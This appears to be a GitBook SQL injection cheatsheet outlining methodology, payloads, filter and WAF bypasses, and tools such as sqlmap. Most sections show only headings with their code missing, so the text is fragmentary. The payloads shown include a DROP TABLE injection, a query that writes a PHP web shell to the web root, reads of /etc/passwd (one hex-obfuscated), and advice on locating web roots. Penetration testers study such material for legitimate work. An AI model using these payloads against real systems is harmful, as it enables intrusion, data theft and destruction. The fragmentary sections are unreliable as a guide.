SQL Injection

SQL injection: Methodology, payloads, tools

ko-fi

MySQL (3306)MSSQL (1433)SQLMAP
$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);
select * from logins where username like '%$searchInput'

payload

'%1'; DROP TABLE users;'
select * from logins where username like '%1'; DROP TABLE users;'

return

Error: near line 1: near "'": syntax error
Type of SQLi

Cheatsheet

One Liners

install urlfinder, qsreplace, anew, ghauri, sqlmap

SQLi All

Blind SQLi

Time Based SQLi

SQLi Discovery

Payload
URL Encoded

'

%27

"

%22

#

%23

;

%3B

)

%29

Recon

Nmap

Generic Payloads

Polyglot

Authentication Bypass

Username field:

Use a known username

Fuzzing

Fuzzing

Comments

We can use two types of line comments with MySQL -- and #, in addition to an in-line comment /**/

Auth Bypass with comments

Put spaces after --

ID parameter

Header Injection

HTTP Header Exploitation

Union

Detect number of columns - Using ORDER BY

Until we reach a number that returns an error

This means that this table has exactly 4 columns .

While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output. This is why we need to determine which columns are printed to the page, to determine where to place our injection.

We cannot place our injection at the beginning, or its output will not be printed.

Detect number of columns - using NULL

Detect data type

If the column data type is not compatible with string data, the injected query will cause a database error, such as:

Conversion failed when converting the varchar value 'a' to data type int.

Database Enumeration

Fingerprinting

Payload
When to Use
Expected Output
Wrong Output

SELECT @@version

When we have full query output

MySQL Version 'i.e. 10.3.22-MariaDB-1ubuntu1'

In MSSQL it returns MSSQL version. Error with other DBMS.

SELECT POW(1,1)

When we only have numeric output

1

Error with other DBMS

SELECT SLEEP(5)

Blind/No Output

Delays page response for 5 seconds and returns 0.

Will not delay response with other DBMS

Database type
Query

Microsoft, MySQL

SELECT @@version

Oracle

SELECT * FROM v$version

PostgreSQL

SELECT version()

Database

Find the current database with the SELECT database() query

Tables

Columns

Data

Remember: don't forget to use the dot operator to refer to the 'credentials' in the 'dev' database, as we are running in the 'ilfreight' database, as previously discussed.

Retrieve multiple values with a single column - Oracle

Reading Files

MySQL (3306)

DB User

User Privileges

Y = yes, super_priv

If we had many users within the DBMS:

Other privileges:

FILE privilege is listed for our user, enabling us to read files and potentially even write files

Note: We will only be able to read the file if the OS user running MySQL has enough privileges to read it.

Write Files

To be able to write files to the back-end server using a MySQL database, we require three things:

  1. User with FILE privilege enabled

  2. MySQL global secure_file_priv variable not enabled

  3. Write access to the location we want to write to on the back-end server

secure_file_priv value is empty, meaning that we can read/write files to any location.

Tip: Advanced file exports utilize the 'FROM_BASE64("base64_data")' function in order to be able to write long/advanced files, including binary data.

Web Shell

Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache's configuration found at /etc/apache2/apache2.conf, Nginx's configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir%\System32\Inetsrv\Config\ApplicationHost.config, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using this wordlist for Linux or this wordlist for Windows. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.

Web ShellBind and Reverse Shell

Resources

Payloads


Blind SQL Injection - Conditional Response

Confirm injection by adding quote

Return a valid message ⇒ 1th letter of the password is greater than m

Return an invalid message ⇒ 1th letter of the password is lower than t

Return a valid message ⇒ 1th letter of the password is equal to s

2nd letter

3d letter

And so on

Etc.

Detect length

Blind Time Based SQLi

Time Based SQL Injection

  • The first of these inputs does not trigger a delay, because the condition 1=2 is false.

  • The second input triggers a delay of 10 seconds, because the condition 1=1 is true.

Test one character at a time

Retrieve password - PostgreSQL

Etc.

Increase Time Delay to confirm injection

Nuclei Template

Source: https://github.com/rzizah/private-nuclei-template/blob/main/bsqli-time-based.yaml

WAF Bypass - Cloudflare

Time Based SQLi in HTTP Headers

HTTP Header Exploitation

CustomBSQLi - LostSec

OAT Blind SQLi

MS SQL server

Data exfiltration

Oracle DB

Numeric SQL Injection

Wildcard SQL injection - LIKE clause

The server filtered the % wildcard, but the _ character was permitted

Error-based SQL injection

Conditional Error

The second input causes a divide-by-zero erro

Oracle DB

Password Length

Pasword value

Etc.

Turn an otherwise blind SQL injection vulnerability into a visible one

Attempting to convert this to an incompatible data type, such as an int, may cause an error similar to the following:

ERROR: invalid input syntax for type integer: "Example data"

Fragmented SQL Injection - two endpoints

Let’s take a look at an instance where the single quote is blacklisted or escaped from the command.

As you see in this example, because the single quote (‘) is escaped with a backslash, the payload does not work as intended by the hacker.

The backslash neutralizes the following single quote. So the value for the username column will end with the single quote that comes right after password= (the end of the gray text). Doing so will eliminate the required password field from the command. Due to the or 1 command, the condition will always return ‘true’. The # (hash) will ignore the rest of the function, and you’ll be able to bypass the login control and login form.

Email SQL injection

Email injections

Bypass - WAF / Filters

WAF Bypass

SQLMap - All in one

SQLMAP

Bypass combo

Imperva gzip bypass

No Space (%20) - bypass using whitespace alternatives

No Whitespace - bypass using comments

No Whitespace - bypass using parenthesis

No Comma - bypass using OFFSET, FROM and JOIN

Blacklist using keywords - bypass using uppercase/lowercase

Blacklist using keywords case insensitive - bypass using an equivalent operator

Information_schema.tables alternative

Version alternative

Source:

Reading / Writing Files

Requires privileged user

Description
Query

Dump to file

SELECT * FROM mytable INTO dumpfile '/tmp/somefile'

Dump PHP Shell

SELECT 'system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php'

Read File

SELECT LOAD_FILE('/etc/passwd')

Read File Obfuscated

SELECT LOAD_FILE(0x633A5C626F6F742E696E69) reads c:\boot.ini

File Privileges

SELECT file_priv FROM mysql.user WHERE user = 'netspi' SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%'

XML-based SQL Injection

XML escape sequence to encode the S character in SELECT

With Hackvector: select the payload - right click - extensions - Hackvector - Encode - Hex Entities

Polyglots SQLi

Resources

Payload

Tools

SQLMAP

Scanner for time-based SQL injection (SQLi):

SqliSniper
ghauri

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

ko-fi

buymeacoffee

Last updated